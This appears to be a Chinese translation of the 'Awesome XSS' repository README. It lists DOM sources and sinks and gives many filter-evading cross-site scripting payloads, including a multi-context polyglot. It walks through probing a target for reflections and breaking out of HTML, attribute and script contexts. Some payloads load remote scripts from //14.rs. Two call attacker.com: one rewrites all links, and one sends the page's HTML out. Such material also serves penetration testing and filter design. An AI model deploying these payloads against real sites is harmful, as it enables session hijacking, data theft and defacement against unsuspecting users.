这个仓库收集了各种 Awesome XSS 资源。欢迎贡献,请通过 issue 提交。
一幅由 Jack Masa 制作的精美 XSS 思维导图,点击查看
VulnerableNot vulnerableSource:一种可能由外部(不可信)来源控制的输入。
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink:一种可能导致漏洞的危险方法。在这里指基于 DOM 的 XSS。
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
这份完整的 sink 和 source 列表取自 domxsswiki。
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
下面是我编写的一个 XSS polyglot,可以突破 20 多种上下文:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
关于其工作原理的说明,点击这里
一些不太容易被检测到的事件处理器
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
你将会用到的一些 HTML 标签
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
场景:<tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
场景:<tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
场景:<script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
没错,用 confirm,因为 alert 太主流了。
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
如果这些都没有用,请看 精彩绕过 一节。
首先,输入一个非恶意字符串,如 d3v,然后查看源代码,以了解反射的数量和上下文。
对于属性上下文,先输入 x"d3v 检查双引号 (") 是否被过滤。如果它变成了 x"d3v,说明输出很可能被正确转义了。如果确实如此,再输入 x'd3v 对单引号 (') 做同样的测试;如果它变成了 x',那你就没戏了。唯一能尝试的就是编码。
如果引号没有被过滤,你可以直接尝试 精彩上下文突破 一节中的 payload。
对于 JavaScript 上下文,检查使用的是哪种引号,例如他们是否这样写
variable = 'value' or variable = "value"
假设使用了单引号 ('),此时输入 x'd3v。如果它变成了 x\'d3v,尝试在探测串中再加一个反斜杠来转义反斜杠 (),即 x\'d3v。如果成功,使用以下 payload:
\'-alert()//
但如果它变成了 x\\\'d3v,你能尝试的只有闭合 script 标签本身:
</script><svg onload=alert()>
对于简单的 HTML 上下文,探测串是 x<d3v。如果它变成了 x>d3v,说明有适当的净化机制。如果它原样返回,你可以输入一个虚拟标签来检查潜在过滤器。我喜欢用的虚拟标签是 x<xxx>。如果它被以任何方式剥离或改变,说明过滤器在查找 < 和 > 对。可以这样简单绕过:
<svg onload=alert()//
或者这样(并非在所有情况下都有效):
<svg onload=alert()
如果你的虚拟标签原样出现在源代码中,可以使用以下任意 payload:
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
注意: 以下 payload 均不使用单引号 (') 或双引号 (")。
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>